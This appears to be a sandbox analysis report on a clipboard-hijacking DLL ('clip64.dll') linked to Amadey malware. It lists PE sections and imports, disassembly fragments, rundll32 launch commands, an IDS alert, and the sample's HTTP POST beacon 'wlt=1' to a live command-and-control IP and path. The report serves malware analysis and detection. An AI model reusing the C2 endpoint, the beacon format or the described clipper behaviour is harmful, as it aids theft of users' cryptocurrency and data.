push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h
mov dword ptr [ebp-04h], eax
xor eax, eax
inc eax
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, dword ptr [ebp-24h]
mov dword ptr [ebx], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebx+04h], esi
or eax, edi
or eax, dword ptr [ebp-08h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1cd10	0x9c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1cdac	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x21000	0x1af8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1bb4c	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bb88	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x16000	0x14c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x14306	0x14400	c5367438634515ddeffb97d8398daef5	False	0.5099585262345679	data	6.5424517950156895	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x16000	0x752a	0x7600	65440752dc27683442670c610d77c6fb	False	0.4289261122881356	data	5.152405366954554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1e000	0x1fec	0x1400	070ceab71158e4b98b9fbb2974a658d3	False	0.094140625	data	1.5445177251659354	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x20000	0xf8	0x200	9f59a1f7f3b6dfefbfe8605086b5888e	False	0.333984375	data	2.5080557656497993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x21000	0x1af8	0x1c00	4b1ffd192b91d9aa86f1e88eeac86ab5	False	0.7540457589285714	data	6.519144570462316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x20060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL	Import
KERNEL32.dll	GlobalAlloc, GlobalLock, GlobalUnlock, WideCharToMultiByte, Sleep, WriteConsoleW, CloseHandle, CreateFileW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, WriteFile, FlushFileBuffers, SetStdHandle, HeapReAlloc, HeapSize, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, InterlockedFlushSList, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, DecodePointer
USER32.dll	EmptyClipboard, SetClipboardData, CloseClipboard, GetClipboardData, OpenClipboard
WININET.dll	InternetOpenW, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, InternetCloseHandle

Exports

Name	Ordinal	Address
??4CClipperDLL@@QAEAAV0@$$QAV0@@Z	1	0x10001d60
??4CClipperDLL@@QAEAAV0@ABV0@@Z	2	0x10001d60
Main	3	0x100059a0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T06:46:41.952354+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.9	49731	212.193.31.8	80	TCP
2024-12-23T06:46:44.592932+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.9	49738	212.193.31.8	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:46:19.956660032 CET	49731	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:20.076246023 CET	80	49731	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:20.076380968 CET	49731	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:20.079505920 CET	49731	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:20.200107098 CET	80	49731	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:22.569062948 CET	49738	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:22.688580036 CET	80	49738	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:22.688711882 CET	49738	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:22.689810991 CET	49738	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:22.809307098 CET	80	49738	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:41.952269077 CET	80	49731	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:41.952353954 CET	49731	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:41.952599049 CET	49731	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:42.072016001 CET	80	49731	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:44.592859983 CET	80	49738	212.193.31.8	192.168.2.9
Dec 23, 2024 06:46:44.592931986 CET	49738	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:44.594854116 CET	49738	80	192.168.2.9	212.193.31.8
Dec 23, 2024 06:46:44.714346886 CET	80	49738	212.193.31.8	192.168.2.9

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 06:46:08.168919086 CET	1.1.1.1	192.168.2.9	0x2670	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 06:46:08.168919086 CET	1.1.1.1	192.168.2.9	0x2670	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

212.193.31.8

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49731	212.193.31.8	80	7612	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:46:20.079505920 CET	161	OUT	POST /3ofn3jf3e2ljk2/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 212.193.31.8 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49738	212.193.31.8	80	7748	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:46:22.689810991 CET	161	OUT	POST /3ofn3jf3e2ljk2/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 212.193.31.8 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Target ID:	0
Start time:	00:46:12
Start date:	23/12/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\clip64.dll"
Imagebase:	0x5b0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:46:12
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:46:12
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:46:12
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:46:12
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:46:15
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:46:18
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\clip64.dll,Main
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:46:21
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:46:21
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:46:21
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main
Imagebase:	0xf40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	1025
Total number of Limit Nodes:	39

Executed Functions

Function 6EB01EC0 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 409
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6EB01EC5

Part of subcall function 6EB06751: std::invalid_argument::invalid_argument.LIBCONCRT ref: 6EB0675D

InternetOpenW.WININET(6EB1BA1C,00000000,00000000,00000000,00000000), ref: 6EB01FA7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 6EB01FCE
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000001), ref: 6EB01FF8
HttpSendRequestA.WININET(00000000,00000000,00000000,?,00000000), ref: 6EB02031
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 6EB0204B
InternetReadFile.WININET(?,00000000,000003FF,00000000), ref: 6EB0224B
InternetCloseHandle.WININET(00000000), ref: 6EB02266
InternetCloseHandle.WININET(?), ref: 6EB0226E
InternetCloseHandle.WININET(?), ref: 6EB02276

Strings

string too long, xrefs: 6EB01EC0
POST, xrefs: 6EB01FF2
Content-Type: application/x-www-form-urlencoded, xrefs: 6EB01F71

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: Content-Type: application/x-www-form-urlencoded$POST$string too long
API String ID: 4066372336-370044323
Opcode ID: d520224b9eecfa50f37449d3ddc49150a87d847108f082bf7c6299cdcf5ba21d
Instruction ID: 98460afafbabe98c3bae8bb11b783ae25e77c65d690925e1dbbbf65fe99406fb
Opcode Fuzzy Hash: d520224b9eecfa50f37449d3ddc49150a87d847108f082bf7c6299cdcf5ba21d
Instruction Fuzzy Hash: F0F1D1B05101989FEB24CF68CC84BDDBFB5EF44314F504198E609AB686CB75AAC8CF55

Function 6EB031B0 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+++, xrefs: 6EB03B4B
abcdefghijklmnopqrstuvwxyz0123456789, xrefs: 6EB0357D
wlt=1, xrefs: 6EB03ADA

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID: +++$abcdefghijklmnopqrstuvwxyz0123456789$wlt=1
API String ID: 0-2251221455
Opcode ID: 10ad944105cd746348be17546ab2d008e0259302a403ed3c073af3d69636ca0f
Instruction ID: 33892bd86366a74b6555ab339c784471e57e73d31917d278b4aab631e31dd4b0
Opcode Fuzzy Hash: 10ad944105cd746348be17546ab2d008e0259302a403ed3c073af3d69636ca0f
Instruction Fuzzy Hash: 5AF10970A10289AFEB04CFA8CC59BDEBFB9EB45724F10461DE411AB7C0DB75A944CB91

Function 6EB01ED0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 386
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(6EB1BA1C,00000000,00000000,00000000,00000000), ref: 6EB01FA7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 6EB01FCE
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000001), ref: 6EB01FF8
HttpSendRequestA.WININET(00000000,00000000,00000000,?,00000000), ref: 6EB02031
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 6EB0204B
InternetReadFile.WININET(?,00000000,000003FF,00000000), ref: 6EB0224B
InternetCloseHandle.WININET(00000000), ref: 6EB02266
InternetCloseHandle.WININET(?), ref: 6EB0226E
InternetCloseHandle.WININET(?), ref: 6EB02276

Strings

POST, xrefs: 6EB01FF2
Content-Type: application/x-www-form-urlencoded, xrefs: 6EB01F71

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: Content-Type: application/x-www-form-urlencoded$POST
API String ID: 1354133546-2387545335
Opcode ID: 3a39a2de1be8b3ee9d76acc5d222ca0f41c7a19cd69c5d903c527bc391ba9f14
Instruction ID: c6d4c285205ff4b868b56fd5896807c1fef63540ee74febecf16126242591acc
Opcode Fuzzy Hash: 3a39a2de1be8b3ee9d76acc5d222ca0f41c7a19cd69c5d903c527bc391ba9f14
Instruction Fuzzy Hash: 4AF1E2B06101589FEB24CF68CC84BDDBFB5EF44314F5041A8E609AB686CB75AAC8CF55

Function 6EB06E7A Relevance: 10.6, APIs: 7, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EB06EC1
___scrt_uninitialize_crt.LIBCMT ref: 6EB06EDB

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a50f439caa825ec316ddd10c37158a6fa7f68c2b723d99c2cc13db2f53464c6e
Instruction ID: 51f75abeffbb517fb0fcf4843f6f0159dad2e37820d6acff6a5ddc3b925f8a92
Opcode Fuzzy Hash: a50f439caa825ec316ddd10c37158a6fa7f68c2b723d99c2cc13db2f53464c6e
Instruction Fuzzy Hash: B0412672D302E9AFDB209FD4CC40BDE7E78EF417A4F10491AF81467A94D770AA418BA0

Function 6EB06F2C Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6EB06F69
dllmain_crt_dispatch.LIBCMT ref: 6EB06F80
dllmain_raw.LIBCMT ref: 6EB06FC8
dllmain_crt_dispatch.LIBCMT ref: 6EB06FDB
dllmain_raw.LIBCMT ref: 6EB06FEE

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: e033e78456e5a113dbd0466bf413a4851cf475704c8cf9dcb633048f3c736815
Instruction ID: 53f2a2c2050b1ffc257206cd73bc95c1226422f3bdf79aa39f0df61a2ee00cd7
Opcode Fuzzy Hash: e033e78456e5a113dbd0466bf413a4851cf475704c8cf9dcb633048f3c736815
Instruction Fuzzy Hash: D621B1719202AAAFCB219FD4C940AAF7E6DEF80794F014615F8146B654D770AE818BE0

Function 6EB0B423 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00000001,6EB0B68B,6EB0B935,?,?,6EB0AB0E), ref: 6EB0B428
_free.LIBCMT ref: 6EB0B485
_free.LIBCMT ref: 6EB0B4BB
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00000001,6EB0B68B,6EB0B935,?,?,6EB0AB0E), ref: 6EB0B4C6

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2a306f356bbc4b912186c817ff11e32600f58cd7f9701e313d5d6adbe03477a2
Instruction ID: 814a0ccb8468b6300e979314ab43e89db59cca3d3d0eab050f4da3b9875d4bb8
Opcode Fuzzy Hash: 2a306f356bbc4b912186c817ff11e32600f58cd7f9701e313d5d6adbe03477a2
Instruction Fuzzy Hash: 6D1140316245826FDB405AF55CD6F9F2D5DDBC23787240D28F528935D8EF20EE014121

Function 6EB06D73 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EB06DC0

Part of subcall function 6EB07490: InitializeSListHead.KERNEL32(6EB1F718,6EB06DCA,6EB1C7B0,00000010,6EB06D5B,?,?,?,6EB06F85,?,00000001,?,?,00000001,?,6EB1C7F8), ref: 6EB07495

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EB06E2A

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 8ff62b332a3827febdf70d9370ab7d13f03164b3282aadbcfe3b60ca3d8bf404
Instruction ID: de299be35e08db587c77f3771d63ee25ed15fcb95f6418fdb2ff57efdceefd65
Opcode Fuzzy Hash: 8ff62b332a3827febdf70d9370ab7d13f03164b3282aadbcfe3b60ca3d8bf404
Instruction Fuzzy Hash: 7D21F0325383D59EEB45ABF4E9107DC7FA5EF1233DF10485AD9806BAC9CB627080C662

Function 6EB0EEAE Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6EB0B8B2: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6EB0B46E,00000001,00000364,00000006,000000FF,?,00000001,6EB0B68B,6EB0B935,?,?,6EB0AB0E), ref: 6EB0B8F3

_free.LIBCMT ref: 6EB0EF1D

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5f52aec67efb57151ddd9cf007e78782c2d025e2ddda8bab545638a33767c9fe
Instruction ID: ea3ed396f886b26362cc231fc0e862331ba6cba5babd54d0a58a273c0f5b6753
Opcode Fuzzy Hash: 5f52aec67efb57151ddd9cf007e78782c2d025e2ddda8bab545638a33767c9fe
Instruction Fuzzy Hash: 5A01D67261435A6BD7218FA8D8819CEFFA8EB053B0F140669E555A76C0E370B911CBA0

Function 6EB0B8B2 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6EB0B46E,00000001,00000364,00000006,000000FF,?,00000001,6EB0B68B,6EB0B935,?,?,6EB0AB0E), ref: 6EB0B8F3

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 277392e33f7e49666117ddc13b38aa083189dca2d5446cd930fd1fea4074c845
Instruction ID: 441194d3ad83f1f5c06f8ba5c368201d4ec87fb118b549307dd66b8d21047020
Opcode Fuzzy Hash: 277392e33f7e49666117ddc13b38aa083189dca2d5446cd930fd1fea4074c845
